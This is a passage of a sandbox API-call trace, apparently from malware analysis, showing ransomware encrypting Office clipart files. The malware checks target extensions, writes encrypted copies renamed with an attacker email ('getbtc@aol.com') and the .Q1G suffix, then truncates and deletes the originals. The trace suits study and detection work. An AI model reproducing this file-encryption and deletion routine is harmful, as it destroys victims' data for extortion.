(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString=".doc") returned 4 [0244.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString=".docx") returned 5 [0244.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.410] lstrlenW (lpString=".pdf") returned 4 [0244.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString=".xls") returned 4 [0244.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.410] lstrlenW (lpString=".xlsx") returned 5 [0244.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.410] lstrlenW (lpString=".ppt") returned 4 [0244.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.411] lstrlenW (lpString=".zip") returned 4 [0244.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.411] lstrlenW (lpString=".rar") returned 4 [0244.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.411] lstrlenW (lpString=".bz2") returned 4 [0244.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.411] lstrlenW (lpString=".7z") returned 3 [0244.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.411] lstrlenW (lpString=".dbf") returned 4 [0244.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.411] lstrlenW (lpString=".1cd") returned 4 [0244.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.411] lstrlenW (lpString=".jpg") returned 4 [0244.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.411] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.411] lstrlenW (lpString="BL00270_.WMF") returned 12 [0244.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.412] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3016) returned 1 [0244.412] CloseHandle (hObject=0x3a4) returned 1 [0244.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0244.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.413] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.413] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.413] GetLastError () returned 0x0 [0244.413] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0244.415] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0244.415] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.416] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.416] SetEndOfFile (hFile=0x360) returned 1 [0244.416] CloseHandle (hObject=0x360) returned 1 [0244.416] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.416] SetEndOfFile (hFile=0x3a4) returned 1 [0244.418] CloseHandle (hObject=0x3a4) returned 1 [0244.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0244.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.419] lstrlenW (lpString=".doc") returned 4 [0244.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.419] lstrlenW (lpString=".docx") returned 5 [0244.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.419] lstrlenW (lpString=".pdf") returned 4 [0244.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString=".xls") returned 4 [0244.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.420] lstrlenW (lpString=".xlsx") returned 5 [0244.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.420] lstrlenW (lpString=".ppt") returned 4 [0244.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString=".zip") returned 4 [0244.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.420] lstrlenW (lpString=".rar") returned 4 [0244.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString=".bz2") returned 4 [0244.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString=".7z") returned 3 [0244.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString=".dbf") returned 4 [0244.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString=".1cd") returned 4 [0244.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString=".jpg") returned 4 [0244.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.420] lstrlenW (lpString=".doc") returned 4 [0244.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString=".docx") returned 5 [0244.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.420] lstrlenW (lpString=".pdf") returned 4 [0244.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.420] lstrlenW (lpString=".xls") returned 4 [0244.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.421] lstrlenW (lpString=".xlsx") returned 5 [0244.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.421] lstrlenW (lpString=".ppt") returned 4 [0244.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.421] lstrlenW (lpString=".zip") returned 4 [0244.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.421] lstrlenW (lpString=".rar") returned 4 [0244.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".bz2") returned 4 [0244.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString=".7z") returned 3 [0244.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.421] lstrlenW (lpString=".dbf") returned 4 [0244.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.421] lstrlenW (lpString=".1cd") returned 4 [0244.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0244.421] lstrlenW (lpString=".jpg") returned 4 [0244.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.421] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.421] lstrlenW (lpString="BL00273_.WMF") returned 12 [0244.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.422] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3780) returned 1 [0244.422] CloseHandle (hObject=0x3a4) returned 1 [0244.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0244.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.422] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.422] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.496] GetLastError () returned 0x0 [0244.496] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xec4, lpOverlapped=0x0) returned 1 [0244.553] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0244.554] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.554] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.554] SetEndOfFile (hFile=0x360) returned 1 [0244.554] CloseHandle (hObject=0x360) returned 1 [0244.554] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.554] SetEndOfFile (hFile=0x3a4) returned 1 [0244.557] CloseHandle (hObject=0x3a4) returned 1 [0244.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0244.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.635] lstrlenW (lpString=".doc") returned 4 [0244.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.635] lstrlenW (lpString=".docx") returned 5 [0244.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.635] lstrlenW (lpString=".pdf") returned 4 [0244.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.635] lstrlenW (lpString=".xls") returned 4 [0244.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.635] lstrlenW (lpString=".xlsx") returned 5 [0244.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.635] lstrlenW (lpString=".ppt") returned 4 [0244.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.635] lstrlenW (lpString=".zip") returned 4 [0244.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.636] lstrlenW (lpString=".rar") returned 4 [0244.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString=".bz2") returned 4 [0244.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString=".7z") returned 3 [0244.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString=".dbf") returned 4 [0244.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString=".1cd") returned 4 [0244.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString=".jpg") returned 4 [0244.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString=".doc") returned 4 [0244.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString=".docx") returned 5 [0244.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.636] lstrlenW (lpString=".pdf") returned 4 [0244.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString=".xls") returned 4 [0244.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.636] lstrlenW (lpString=".xlsx") returned 5 [0244.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.636] lstrlenW (lpString=".ppt") returned 4 [0244.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.636] lstrlenW (lpString=".zip") returned 4 [0244.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.636] lstrlenW (lpString=".rar") returned 4 [0244.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.636] lstrlenW (lpString=".bz2") returned 4 [0244.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.637] lstrlenW (lpString=".7z") returned 3 [0244.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.637] lstrlenW (lpString=".dbf") returned 4 [0244.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.637] lstrlenW (lpString=".1cd") returned 4 [0244.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0244.637] lstrlenW (lpString=".jpg") returned 4 [0244.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.756] lstrlenW (lpString="BL00525_.WMF") returned 12 [0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.831] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9590) returned 1 [0244.831] CloseHandle (hObject=0x324) returned 1 [0244.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0244.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.832] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.832] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0244.832] GetLastError () returned 0x0 [0244.832] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2576, lpOverlapped=0x0) returned 1 [0244.843] WriteFile (in: hFile=0x204, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0244.844] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.844] WriteFile (in: hFile=0x204, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.844] SetEndOfFile (hFile=0x204) returned 1 [0244.891] CloseHandle (hObject=0x204) returned 1 [0244.892] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.894] SetEndOfFile (hFile=0x324) returned 1 [0244.897] CloseHandle (hObject=0x324) returned 1 [0244.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0244.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.973] lstrlenW (lpString=".doc") returned 4 [0244.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.973] lstrlenW (lpString=".docx") returned 5 [0244.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.973] lstrlenW (lpString=".pdf") returned 4 [0244.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.973] lstrlenW (lpString=".xls") returned 4 [0244.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.973] lstrlenW (lpString=".xlsx") returned 5 [0244.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.973] lstrlenW (lpString=".ppt") returned 4 [0244.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.973] lstrlenW (lpString=".zip") returned 4 [0244.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.973] lstrlenW (lpString=".rar") returned 4 [0244.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.973] lstrlenW (lpString=".bz2") returned 4 [0244.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.973] lstrlenW (lpString=".7z") returned 3 [0244.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".dbf") returned 4 [0244.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".1cd") returned 4 [0244.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".jpg") returned 4 [0244.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".doc") returned 4 [0244.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString=".docx") returned 5 [0244.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.974] lstrlenW (lpString=".pdf") returned 4 [0244.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString=".xls") returned 4 [0244.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.974] lstrlenW (lpString=".xlsx") returned 5 [0244.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.974] 